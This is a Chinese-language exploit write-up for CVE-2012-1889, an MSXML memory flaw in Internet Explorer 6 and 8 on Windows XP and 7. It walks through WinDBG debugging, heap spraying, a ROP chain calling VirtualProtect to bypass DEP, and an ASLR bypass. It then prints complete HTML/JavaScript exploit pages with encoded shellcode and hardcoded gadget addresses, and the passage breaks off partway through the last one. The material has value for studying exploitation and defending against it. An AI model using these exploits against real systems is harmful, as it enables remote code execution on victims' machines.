軟件名稱:Microsoft Internet Explorer 軟件版本:6.0/8.0 漏洞模塊:msxml3.dll 模塊版本: 編譯日期:2022-07-06 |
操作系統(tǒng):Windows XP/7 漏洞編號(hào):CVE-2012-1889 危害等級(jí):高危 漏洞類型:緩沖區(qū)溢出 威脅類型:遠(yuǎn)程 |
軟件簡介
Internet Explorer(簡稱:IE)是微軟公司推出的一款網(wǎng)頁瀏覽器。原稱Microsoft Internet Explorer(6版本以前)和Windows Internet Explorer(7、8、9、10、11版本)。在IE7以前,中文直譯為“網(wǎng)絡(luò)探路者”,但在IE7以后官方便直接俗稱"IE瀏覽器"。
Microsoft XML Core Services(MSXML)是一組服務(wù),可用于JScript、VBScript、Microsoft開發(fā)編寫的應(yīng)用構(gòu)建基于XML的Windows-native應(yīng)用。
漏洞成因
MS12-043(CVE-2012-1889)是一個(gè)被360捕獲的系統(tǒng)級(jí)漏洞,受這個(gè)漏洞影響的系統(tǒng):
Windows XP SP3 (x86)
Windows XP SP2 (x64)
Windows Server 2003 SP2 (x86/x64)
Windows Vista SP2 (x86/x64)
Windows Server 2008 SP2 (x86/x64)
Windows 7 (x86/x64)
Windows 7 SPI (x86/x64)
Windows Server 2008 R2 (x86/x64)
Windows Server 2008 R2 SPI (x86/x64)
Windows 8 (x86/x64)
Microsoft XML Core Services 3.0、4.0、5.0、6.0版本中存在漏洞,該漏洞源于訪問未初始化內(nèi)存位置。遠(yuǎn)程攻擊者可利用該漏洞借助特制的web站點(diǎn),執(zhí)行任意代碼或?qū)е戮芙^服務(wù)。
利用過程
- WinXP+IE6
使用下面POC進(jìn)行漏洞的驗(yàn)證:
????
WinDBG進(jìn)行附加:
運(yùn)行之后,程序會(huì)觸發(fā)漏洞,在0x5dd8d772中斷下來:?
在執(zhí)行CALL [ecx+18]這條指令時(shí)觸發(fā)漏洞,而ecx又是來自上面的eax取內(nèi)容,eax又來自[ebp-14h],是棧中的一個(gè)局部變量。
??? 已經(jīng)驗(yàn)證漏洞存在,下面使用POC2進(jìn)行測試:
POC中通過定義初始化對(duì)象的同時(shí)創(chuàng)建一個(gè)IMG對(duì)象,改變棧中的值,進(jìn)而將eax改為0x0C0C0C0C,而eax被作為指針來使用,并將指針指向的內(nèi)容賦給ecx,然后ecx作為基址加上0x18的偏移取出內(nèi)容并調(diào)用。
此次運(yùn)行,程序在讀取eax(0x0C0C0C0C)上的內(nèi)容時(shí),引發(fā)數(shù)據(jù)訪問的異常。根據(jù)這個(gè)POC的驗(yàn)證,已經(jīng)可以將eax修改為0x0C0C0C0C。如何使0x0C0C0C0C處的代碼變成我們想要的內(nèi)容去執(zhí)行,可以用到堆噴射—Heap Spray。攻擊者在使用Heap Spray時(shí)候,會(huì)在堆棧溢出后將EIP指向堆區(qū)類似0x0C0C0C0C的位置,并且在這之前會(huì)使用Javascript申請(qǐng)大量的堆內(nèi)存,并將包含SlideCode和Shellcode的代碼塊不斷重復(fù)的占用所申請(qǐng)的內(nèi)存空間。Slide內(nèi)存一般由200個(gè)左右的Slide塊組成,每個(gè)Slide塊都有大量的滑板指令(NOP或者OR AL,OC)加上Shellcode組成。這樣只要0x0C0C0C0C命中任意一個(gè)滑板指令,都會(huì)將其引導(dǎo)到我們的Shellcode中。
使用Heap Spray技術(shù),將0xOCOCOCOC處填滿我們的Slide,當(dāng)執(zhí)行CALL[ecx+18h]時(shí),會(huì)將0x0C0C0C24上的內(nèi)容取出來當(dāng)函數(shù)地址去執(zhí)行,由于堆噴射0x0C0C0C24上的內(nèi)容也是0x0C0C0C0C,這樣就會(huì)CALL 0x0C0C0C0C,而0x0C0C0C0C正好是我們的Slide頭部,當(dāng)頭部執(zhí)行完大量的滑板指令之后,就會(huì)將執(zhí)行流程引導(dǎo)到我們的Shellcode,執(zhí)行我們的Shellcode
將Shellcode轉(zhuǎn)換為JS格式:????
準(zhǔn)備好轉(zhuǎn)碼后的Shellcode:?
制作滑板數(shù)據(jù):?
填充200M的內(nèi)存區(qū)域(申請(qǐng)200塊1MB大小的滑板數(shù)據(jù)區(qū)),試圖覆蓋0x0C0C0C0C,每個(gè)滑板塊由滑板數(shù)據(jù)和Shellcode組成。??
觸發(fā)漏洞:
測試效果:
??? 成功執(zhí)行了我們構(gòu)造的指令。
- WinXP+IE8
IE8開啟了DEP,能夠在內(nèi)存上執(zhí)行額外的的檢查以防止運(yùn)行惡意代碼,基本原理是將數(shù)據(jù)所在內(nèi)存頁標(biāo)識(shí)為不可執(zhí)行,當(dāng)程序溢出成功轉(zhuǎn)入Shellcode時(shí),程序嘗試在數(shù)據(jù)頁面上執(zhí)行指令,此時(shí)CPU就會(huì)拋出異常,而不執(zhí)行惡意指令。
Return to libc,利用系統(tǒng)自身存在的代碼,來調(diào)用一些函數(shù)關(guān)閉DEP的保護(hù)。思路:DEP保護(hù)了ShellCode所屬內(nèi)存頁的執(zhí)行屬性,那么所有安排好的ShellCode都將不能執(zhí)行。但是系統(tǒng)空間的代碼所在的內(nèi)存屬性還是擁有執(zhí)行權(quán)限的,將異常處的代碼安排為系統(tǒng)代碼內(nèi)存地址。系統(tǒng)空間的代碼地址并非連續(xù)的,我們可以利用ESP和ret讓這些指令連接起來,只要能讓溢出點(diǎn)轉(zhuǎn)向系統(tǒng)空間的匯編指令那么,通過各種指令連接在一起就可以完成這個(gè)工作。ShellCode處于堆空間當(dāng)中,使用各種指令組合出一個(gè)調(diào)用virtualprotect的操作,將ShellCode處內(nèi)存改為可執(zhí)行屬性
先使用IE6的POC進(jìn)行測試:
發(fā)現(xiàn)彈窗并不能觸發(fā),調(diào)試發(fā)現(xiàn)0x0C0C0C0C沒有是數(shù)據(jù),IE8開啟的DEP對(duì)Heap Spray進(jìn)行了限制,不允許直接字符串賦值,因此需要修改堆噴射的代碼:???
修改之后,再次進(jìn)行測試,沒能成功彈出MessageBox,提示開啟了數(shù)據(jù)執(zhí)行保護(hù):??
開啟DEP后,可寫的地方無法執(zhí)行,如果執(zhí)行就觸發(fā)DEP。需要使用VirtualProtect對(duì)其屬性進(jìn)行修改。我們可以使用Heap Spray技術(shù)將0x0C0C0C0C處填滿我們的Slide,當(dāng)執(zhí)行CALL [ECX+18]時(shí),將0x0C0C0C24處的內(nèi)容0x0C0C0C0C取出當(dāng)函數(shù)地址執(zhí)行,而此時(shí)0x0C0C0C0C正好為我們Slide的頭部,當(dāng)頭部執(zhí)行完后,會(huì)將執(zhí)行流程引導(dǎo)到Shellcode。
??? 我們將0x0C0C0C24地址上的內(nèi)容填上VirtualProtect函數(shù)的地址,但問題是4個(gè)參數(shù)還是棧中的0C0C0C0C,棧中的內(nèi)容我們無法控制,堆中的內(nèi)容可以控制。因此,我們需要把??臻g切換到堆里面,即讓ESP指向堆,然后通過堆噴射,合理操作堆,才能調(diào)用VirtualProtect函數(shù)。
??? 我們讓0x0C0C0C24地址上的內(nèi)容是XCHG EAX,ESP#RET 這組指令的地址。
??? 當(dāng)CALL的時(shí)候,就會(huì)執(zhí)行這兩條指令,讓EAX和ESP進(jìn)行交換,此時(shí)ESP就成功的指向0x0C0C0C0C了,當(dāng)RET執(zhí)行時(shí),就會(huì)使用0x0C0C0C0C上的內(nèi)容作為返回地址,如圖,就會(huì)返回到 xxxxx。如果我們將xxxxx設(shè)置成VirtualProtect函數(shù)的地址,應(yīng)該會(huì)返回到VirtualProtect函數(shù)去執(zhí)行。
??? 但有問題出現(xiàn):
??? 如果0x0C0C0C0C上的內(nèi)容是VirtualProtect函數(shù)的地址,前面執(zhí)行 mov ecx,[eax] 時(shí),ecx也變成了VirtualProtect函數(shù)的地址,ecx加上18再取內(nèi)容,CALL的這個(gè)地方就不是可預(yù)測的了,程序就崩了。
??? 如果我們將棧溢出部分的數(shù)據(jù)都填為0x0C0C0C08,這樣EAX就會(huì)等于0C0C0C08,ECX在0x0C0C0C08地址上取的依然是0C0C0C0C,ECX加18依然是0x0C0C0C24,CALL的時(shí)候依然會(huì)到指令組合,返回的時(shí)候返回到0x0C0C0C0C。如果這個(gè)地址上填VirtualProtect的地址,應(yīng)該會(huì)返回到VirtualProtect函數(shù)去執(zhí)行。
??? 此時(shí),又有問題出現(xiàn):
??? 如果0x0C0C0C0C上的內(nèi)容是VirtualProtect函數(shù)的地址,前面執(zhí)行 mov ecx,[eax]時(shí),在0x0C0C0C0C上取內(nèi)容,取得就是VirtualProtect函數(shù)的地址,再加上18取內(nèi)容,還是不可知的地方,程序還是會(huì)崩潰。
??? 不管怎樣,ECX都會(huì)是0x0C0C0C0C,再加上0x18就是0x0C0C0C24,然后再CALL,執(zhí)行交換指令,最后都會(huì)返回到0x0C0C0C0C地址上的內(nèi)容,而0x0C0C0C0C這個(gè)地址上的內(nèi)容如果修改,就會(huì)影響前面,邏輯出現(xiàn)死鎖。
這時(shí)候,我們需要對(duì)溢出點(diǎn)前后的代碼進(jìn)行觀察分析:
我們發(fā)現(xiàn)在引發(fā)漏洞的下面,對(duì)ESI取內(nèi)容給了EAX,然后又將ESI壓入棧,又將EAX加8取內(nèi)容,CALL這個(gè)內(nèi)容。對(duì)這個(gè)CALL 的內(nèi)容進(jìn)行分析,EAX來自ESI取內(nèi)容,而ESI有來自上面的EAX,而上面的EAX是0C0C0C08,ESI也是0C0C0C08,而0x0C0C0C08上面的內(nèi)容還是0C0C0C0C,所以這里的EAX是0C0C0C0C,而EAX加8就是0C0C0C14,CALL的就是0x0C0C0C14上面的內(nèi)容。
因此,我們可以將上面的0x0C0C0C24地址上填一個(gè)RET的地址,當(dāng)執(zhí)行到這的時(shí)候,不會(huì)觸發(fā)漏洞,直接返回。繼續(xù)往下執(zhí)行,EAX就會(huì)變成0C0C0C0C,再加上8,CALL這個(gè)0x0C0C0C14地址上面的內(nèi)容,我們將0x0C0C0C14地址上填為交換EAX和ESP、RET組合指令的地址,執(zhí)行完XCHG命令后,ESP就指向了0C0C0C0C。RET執(zhí)行時(shí),就會(huì)使用0x0C0C0C0C上的內(nèi)容作為返回地址。這個(gè)時(shí)候,如果我們把0x0C0C0C0C地址上的內(nèi)容改為VirtualProtect地址,就有可能執(zhí)行VitrualProtect這個(gè)函數(shù)
但是,這個(gè)時(shí)候還不能在0x0C0C0C0C的地方填VirtualProtect的地址,因?yàn)槠溥€有四個(gè)參數(shù),參數(shù)會(huì)將下面的內(nèi)容給覆蓋,空間不夠,還需要再進(jìn)一步操作。
整個(gè)流程:
mov eax,[ebp-14]:EAX值是0C0C0C08;
mov esi,eax:將這個(gè)值給ESI,ESI也變成了0C0C0C08;
mov ecx,[eax]:在0x0C0C0C08上取內(nèi)容給ECX,ECX變成了0C0C0C0C
all [ecx+18]:0C0C0C0C加18等于0C0C0C24,然后CALL這個(gè)地址上的內(nèi)容,就是執(zhí)行了RET,直接返回
mov eax,[esi]:將ESI(0C0C0C08)取內(nèi)容給EAX,EAX變成了0C0C0C0C
call [eax+8]:將0C0C0C0C加上8等于0C0C0C014,然后CALL這個(gè)地址上的內(nèi)容,就執(zhí)行了XCHG指令,執(zhí)行完后ESP變成了0C0C0C0C
RET的時(shí)候就會(huì)將0x0C0C0C0C上的內(nèi)容彈出作為EIP,然后去執(zhí)行,而0x0C0C0C0C上又是一個(gè)RET的地址,執(zhí)行完后,就行執(zhí)行下一行。
0x0C0C0C10上是 pop exx#ret的地址,這個(gè)指令是為了將下面的XCHG指令繞過,防止再執(zhí)行,pop之后,下面的XCHG命令的地址就沒了,ret后就會(huì)到下面RET的地址,然后一直RET。必須保證0x0C0C0C24的地址上的內(nèi)容是RET的地址,所以到了0x0C0C0C28的時(shí)候才可以在填VirtualProtect函數(shù)的地址。
思路已經(jīng)理清楚,如何保證堆噴射的時(shí)候,噴射后的對(duì)應(yīng)位置時(shí)我們剛才構(gòu)造的指令?
精準(zhǔn)堆噴射:
一個(gè)內(nèi)存的分布都是以一個(gè)分頁為單位,大多數(shù)x86系統(tǒng)中,這個(gè)分頁都是4KB(0x1000字節(jié))。假如我們知道了一個(gè)地址距離某個(gè)內(nèi)存頁起始位置的偏移(地址0x0C0C0C0C距離內(nèi)存頁起始位置的偏移為0x5F6),就需要我們構(gòu)建N個(gè)類似的內(nèi)存塊,每個(gè)內(nèi)存塊的數(shù)據(jù)完全相同,并且都在0x5F6開始有關(guān)鍵數(shù)據(jù),就可以構(gòu)成精準(zhǔn)堆噴射。
確定Padding的大?。合鄬?duì)偏移=(目標(biāo)地址-UserPtr地址)%0x1000/2??
先調(diào)試Step1.htm,確認(rèn)其覆蓋0x0C0C0C0C后,執(zhí)行下面的命令:
!heap -p -a 0c0c0c0c,找到堆的信息
相對(duì)偏移=(0x0C0C0C0C-0x0c060020) %0x1000/2=5F6。
??? 找到精準(zhǔn)位置后,構(gòu)建腳本測試:
??? WinDBG附加進(jìn)程,輸入g命令,然后在瀏覽器中允許,程序會(huì)在WinDBG中斷下來,輸入: dd 0c0c0c0c,看上面的內(nèi)容:
??? 說明我們的精準(zhǔn)堆噴射已經(jīng)成功,我們只需要在上面填上我們構(gòu)造的命令即可完成。
??? 構(gòu)造執(zhí)行鏈:???
??? 找到ret指令的地址:!py mona findwild -s "ret" -m msvcrt.dll
??? 找到 pop ebp#ret指令的地址:!py mona findwild -s "pop ebp#ret" -m msvcrt.dll?
??? 找到 xchg eax,esp#ret指令的地址:!py mona findwild -s "xchg eax,esp#ret" -m msvcrt.dll
??? 找到 VirtualProtect的地址:u VirtualProtect???????
??? VirtualProtect函數(shù)需要保存舊屬性,因次要找一個(gè)可以寫的地址保存。 可以在msvcrt.dll中找一個(gè)具有寫入屬性的區(qū)段。 因?yàn)閰^(qū)段在內(nèi)存中對(duì)齊后通常最后邊的內(nèi)容都是無用的,所以可以用最后四個(gè)字節(jié)來保存舊屬性
??? 使用LoadPE查看msvcrt.dll各區(qū)段????
??? 使用命令分別查看各區(qū)段的屬性:?????
??? 發(fā)現(xiàn)data段有WRITECOPY的權(quán)限,看這個(gè)區(qū)段的最后位置:77be0000 + 54000 – 4????
??? 有讀寫的權(quán)限,所以我們可以找:77be0000 + 54000 - 4 =77C33FFC 來保存舊屬性
因此,整個(gè)流程的地址都構(gòu)造好了:
??? 最后面只需要加上我們的payload即可:???
??? 運(yùn)行測試,成功執(zhí)行我們構(gòu)造的指令:
- Win7+IE8
Win7中又多了一個(gè)ASLR保護(hù),通過隨機(jī)放置進(jìn)程關(guān)鍵數(shù)據(jù)區(qū)域的地址來防止攻擊者能可靠地跳轉(zhuǎn)到內(nèi)存的特定位置來利用函數(shù)。因此,我們需要找到未開啟ASLR得DLL
命令:!py mona mod????
找到了3個(gè)dll沒有開啟ASLR:jp2ssv.dll、ssv.dll、MSVR71.dll,重啟之后,對(duì)比發(fā)現(xiàn)確實(shí)沒有改變基址。下面就是使用mona命令,找到對(duì)應(yīng)的一些地址。
??? 找到ret指令的地址:!py mona findwild -s "ret" -m jp2ssv.dll
??? 找到 pop ebp#ret指令的地址:!py mona findwild -s "pop ebp#ret" -m jp2ssv.dll????
??? 找到 xchg eax,esp#ret指令的地址:!py mona findwild -s "xchg eax,esp#ret" -m ssv.dll
??? 找到 VirtualProtect的地址:u kernel32! VirtualProtect????
??? VirtualProtect函數(shù)需要保存舊屬性,因次要找一個(gè)可以寫的地址保存。 可以在ssv.dll中找一個(gè)具有寫入屬性的區(qū)段。 因?yàn)閰^(qū)段在內(nèi)存中對(duì)齊后通常最后邊的內(nèi)容都是無用的,所以可以用最后四個(gè)字節(jié)來保存舊屬性
??? 使用LoadPE查看ssv.dll各區(qū)段(C:\Program Files\Java\jre6\bin\ssv.dll)
??? 使用命令分別查看各區(qū)段的屬性:????
??? 發(fā)現(xiàn)data段有READWRITE的權(quán)限,看這個(gè)區(qū)段的最后位置:6d730000 + 22000 – 4
??? 有讀寫的權(quán)限,所以我們可以找:6d730000 + 22000 – 4 =6d751ffc 來保存舊屬性
因此,整個(gè)流程的地址都構(gòu)造好了:???
??? 最后面只需要加上我們的payload即可:
??? 運(yùn)行測試,成功執(zhí)行我們構(gòu)造的指令:
PoC
- WinXP+IE6 POC
<html>
<head>
??? <title>CVE 2012-1889 PoC v3 By:15PB.Com</title>
</head>
<body>
??? <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
??? <script>
??????? // 1.? 準(zhǔn)備好Shellcode(unescape()是解碼函數(shù))
??????? var cShellcode = unescape(
??????? "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +
??????? "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +
??????? "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +
??????? "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +
??????? "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +
??????? "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +
??????? "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +
??????? "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +
??????? "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +
??????? "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +
??????? "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +
??????? "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +
??????? "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +
??????? "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +
??????? "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +
??????? "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +
??????? "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +
??????? "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +
??????? "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +
??????? "\uC25D\u0010\u0000");
??????? // 2.? 制作一塊滑板數(shù)據(jù)
??????? // 2.1 計(jì)算填充滑板指令數(shù)據(jù)的大?。ǘ汲?是因?yàn)閘ength返回的是Unicode的字符個(gè)數(shù))
??????? var nSlideSize????? = 1024*1024 / 2;???? // 一個(gè)滑板指令區(qū)的大?。?MB)
??????? var nMlcHadSize???? = 32??????? / 2;???? // 堆頭部大小
??????? var nStrLenSize???? = 4???????? / 2;???? // 堆長度信息大小
??????? var nTerminatorSize = 2???????? / 2;???? // 堆結(jié)尾符號(hào)大小
??????? var nScSize???????? = cShellcode.length; // Shellcode大小
??????? var nFillSize?????? = nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize;
??????? // 2.2 填充滑板指令,制作好一塊填充數(shù)據(jù)
??????? var cFillData? = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C?? OR AL,0C
??????? var cSlideData = new Array();????????????? // 申請(qǐng)一個(gè)數(shù)組對(duì)象用于保存滑板數(shù)據(jù)
??????? while (cFillData.length <= nSlideSize)
??????????? cFillData += cFillData;
??????? cFillData = cFillData.substring(0, nFillSize);
????? //3.填充200MB的內(nèi)存區(qū)域(申請(qǐng)200塊1MB大小的滑板數(shù)據(jù)區(qū)),試圖覆蓋0x0C0C0C0C
????? //區(qū)域,每塊滑板數(shù)據(jù)均由 滑板數(shù)據(jù)+Shellcode 組成,這樣只要任意一塊滑板數(shù)據(jù)
????? //正好落在0x0C0C0C0C處,大量無用的“OR AL,0C”就會(huì)將執(zhí)行流程引到滑板數(shù)據(jù)區(qū)
??????? // 后面的Shellcode處,進(jìn)而執(zhí)行Shellcode。
??????? for (var i = 0; i < 200; i++)
??????????? cSlideData[i] = cFillData + cShellcode;
??????? // 4.? 觸發(fā)CVE 2012-1889漏洞
??????? // 4.1 獲取名為15PB的XML對(duì)象,并將其保存到名為obj15PB實(shí)例中
??????? var obj15PB = document.getElementById('15PB').object;
??????? // 4.2 構(gòu)建一個(gè)長度為0x1000-10=8182,起始內(nèi)容為“\\15PB_Com”字節(jié)的數(shù)據(jù)
??????? var srcImgPath = unescape("\u0C0C\u0C0C");
??????? while (srcImgPath.length < 0x1000)
??????????? srcImgPath += srcImgPath;
??????? srcImgPath = "\\\\15PB_Com" + srcImgPath;
??????? srcImgPath = srcImgPath.substr(0, 0x1000-10);
??????? // 4.3 創(chuàng)建一個(gè)圖片元素,并將圖片源路徑設(shè)為srcImgPath,并返回當(dāng)前圖片文件名
??????? var emtPic = document.createElement("img");
??????? emtPic.src = srcImgPath;
??????? emtPic.nameProp;
??????? // 4.4 定義對(duì)象obj15PB(觸發(fā)溢出)
??????? obj15PB.definition(0);
??? </script>
</body>
</html>
- WinXP+IE8 POC
<html>
<head>
??? <title>By:15PB.Com</title>
</head>
<body>
??? <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
??? <script>
??????? // 1.? 生成Padding
??????? var cPadding = unescape("\u0C0C\u0C0C");
??????? while (cPadding.length < 0x1000)
??????????? cPadding += cPadding;
??????? cPadding = cPadding.substring(0, 0x5F6);
??????? // 2.? 制作Ret2Libc
??????? var cRet2Libc = unescape(
???????????? "\u1110\u77BE" + // 0x77BE1110 : # RETN (ROP NOP) [msvcrt.dll]
???????????? "\uBB8B\u77BE" + // 0x77BEBB8B : # POP EBP # RETN [msvcrt.dll]
???????????? "\uA891\u77C0" + // 0x77C0A891 : # XCHG EAX, ESP # RETN [msvcrt.dll]
???????????? "\u1110\u77BE" + // 0x77BE1110 : # RETN (ROP NOP) [msvcrt.dll]
???????????? "\u1110\u77BE" + // 0x77BE1110 : # RETN (ROP NOP) [msvcrt.dll]
???????????? "\u1110\u77BE" + // 0x77BE1110 : # RETN (ROP NOP) [msvcrt.dll]
???????????? "\u1110\u77BE" + // 0x77BE1110: # RETN (ROP NOP) [msvcrt.dll]<-ROP Entry
???????????? "\u1AD4\u7C80" + // 0x7C801AD4 : # Return to VirtualProtect
???????????? "\u0C40\u0C0C" + // 0x0C0C0C40 : # Return Addr(Payload Addr)
???????????? "\u0C40\u0C0C" + // 0x0C0C0C40 : # lpAddress????? = Payload Addr
???????????? "\u1000\u0000" + // 0x00001000 : # dwSize???????? = 0x00001000
???????????? "\u0040\u0000" + // 0x00000040 : # flNewProtect?? = 0x00000040
???????????? "\u3FFC\u77C3" );// 0x77C33FFC : # lpflOldProtect = 0x77C33FFC
???? // 3.? 準(zhǔn)備好Payload(unescape()是解碼函數(shù))
??????? var cPayload = unescape(
??????? "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +
??????? "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +
??????? "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +
??????? "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +
??????? "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +
??????? "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +
??????? "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +
??????? "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +
??????? "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +
??????? "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +
??????? "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +
??????? "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +
??????? "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +
??????? "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +
??????? "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +
??????? "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +
??????? "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +
??????? "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +
??????? "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +
??????? "\uC25D\u0010\u0000");
??? // 4.? 準(zhǔn)備好FillData
??? // 4.1 計(jì)算填充滑板指令數(shù)據(jù)的大小(都除2是因?yàn)閘ength返回的是Unicode的字符個(gè)數(shù))
??????? var nSlideSize = 0x1000;?????????? // 一個(gè)滑板指令塊的大?。?KB)
??????? var nPadSize?? = cPadding.length;? // Padding大小
??????? var nR2LSize?? = cRet2Libc.length; // Ret2Libc大小
??????? var nPySize??? = cPayload.length;? // Shellcode大小
??????? var nFillSize? = nSlideSize-nPadSize-nR2LSize-nPySize;
??????? // 4.2 制作好一塊填充數(shù)據(jù)
??????? var cFillData? = unescape("\u0C0C\u0C0C");
??????? while (cFillData.length < nSlideSize)
??????????? cFillData += cFillData;
??????? cFillData = cFillData.substring(0, nFillSize);
??????? // 5.? 構(gòu)建滑板指令數(shù)據(jù)塊
??????? var nBlockSize = 0x40000;? // 256KB
??????? var cBlock???? = cPadding + cRet2Libc + cPayload + cFillData;
??????? while (cBlock.length < nBlockSize)
??????????? cBlock += cBlock;
??????? cBlock = cBlock.substring(2, nBlockSize-0x20); // 0x809
???? // 6.填充200MB的內(nèi)存區(qū)域(申請(qǐng)800塊256KB大小的滑板數(shù)據(jù)區(qū)),試圖覆蓋0x0C0C0C0C
???? //區(qū)域,每塊滑板數(shù)據(jù)均由 滑板數(shù)據(jù)+Shellcode 組成,這樣只要任意一塊滑板數(shù)據(jù)
???? //正好落在0x0C0C0C0C處,大量無用的“OR AL,0C”就會(huì)將執(zhí)行流程引到滑板數(shù)據(jù)區(qū)
???? //后面的Shellcode處,進(jìn)而執(zhí)行Shellcode。
??????? var cSlideData = new Array();
??????? for (var i = 0; i < 800; i++)
??????????? cSlideData[i] = cBlock.substr(0, cBlock.length);
???? // 7.? 觸發(fā)CVE 2012-1889漏洞
???? // 7.1 獲取名為15PB的XML對(duì)象,并將其保存到名為obj15PB實(shí)例中
??????? var obj15PB = document.getElementById('15PB').object;
???? // 7.2 構(gòu)建一個(gè)長度為0x1000-10=8182,起始內(nèi)容為“\\15PB_Com”字節(jié)的數(shù)據(jù)
??????? var srcImgPath = unescape("\u0C0C\u0C08");
??????? while (srcImgPath.length < 0x1000)
??????????? srcImgPath += srcImgPath;
??????? srcImgPath = "\\\\15PB_Com" + srcImgPath;
??????? srcImgPath = srcImgPath.substr(0, 0x1000-10);
???? // 7.3 創(chuàng)建一個(gè)圖片元素,并將圖片源路徑設(shè)為srcImgPath,并返回當(dāng)前圖片文件名
??????? var emtPic = document.createElement("img");
??????? emtPic.src = srcImgPath;
??????? emtPic.nameProp;
???? // 7.4 定義對(duì)象obj15PB(觸發(fā)溢出)
??????? obj15PB.definition(0);
??? </script>
</body>
</html>
- Win7+IE8 POC
<html>
<head>
??? <title>By:15PB.Com</title>
</head>
<body>
??? <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
??? <script>
??????? // 1.生成Padding
??????? var cPadding = unescape("\u0C0C\u0C0C");
??????? while (cPadding.length < 0x1000)
??????????? cPadding += cPadding;
??????? cPadding = cPadding.substring(0, 0x5F6);
??????? // 2.制作Ret2Libc
??????? var cRet2Libc = unescape(
???????????? "\u1029\u6d43" + // 0x6d431029 : # RETN (ROP NOP) [msvcrt.dll]
???????????? "\u3ca5\u6d43" + // 0x6d433ca5 : # POP EBP # RETN [msvcrt.dll]
???????????? "\u7cb3\u6d73" + // 0x6d737cb3 : # XCHG EAX, ESP # RETN [msvcrt.dll]
???????????? "\u1029\u6d43" + // 0x6d431029 : # RETN (ROP NOP) [msvcrt.dll]
???????????? "\u1029\u6d43" + // 0x6d431029 : # RETN (ROP NOP) [msvcrt.dll]
???????????? "\u1029\u6d43" + // 0x6d431029 : # RETN (ROP NOP) [msvcrt.dll]
???????????? "\u1029\u6d43" + // 0x6d431029: # RETN (ROP NOP) [msvcrt.dll]<-ROP Entry
???????????? "\u2341\u7700" + // 0x77002341 : # Return to VirtualProtect
???????????? "\u0C40\u0C0C" + // 0x0C0C0C40 : # Return Addr(Payload Addr)
???????????? "\u0C40\u0C0C" + // 0x0C0C0C40 : # lpAddress????? = Payload Addr
???????????? "\u1000\u0000" + // 0x00001000 : # dwSize???????? = 0x00001000
???????????? "\u0040\u0000" + // 0x00000040 : # flNewProtect?? = 0x00000040
???????????? "\u1ffc\u6d75" );// 0x6d751ffc : # lpflOldProtect = 0x6d751ffc
??????? // 3.準(zhǔn)備好Payload(unescape()是解碼函數(shù))
??????? var cPayload = unescape(
??????? "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +
??????? "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +
??????? "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +
??????? "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +
??????? "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +
??????? "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +
??????? "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +
??????? "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +
??????? "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +
??????? "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +
??????? "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +
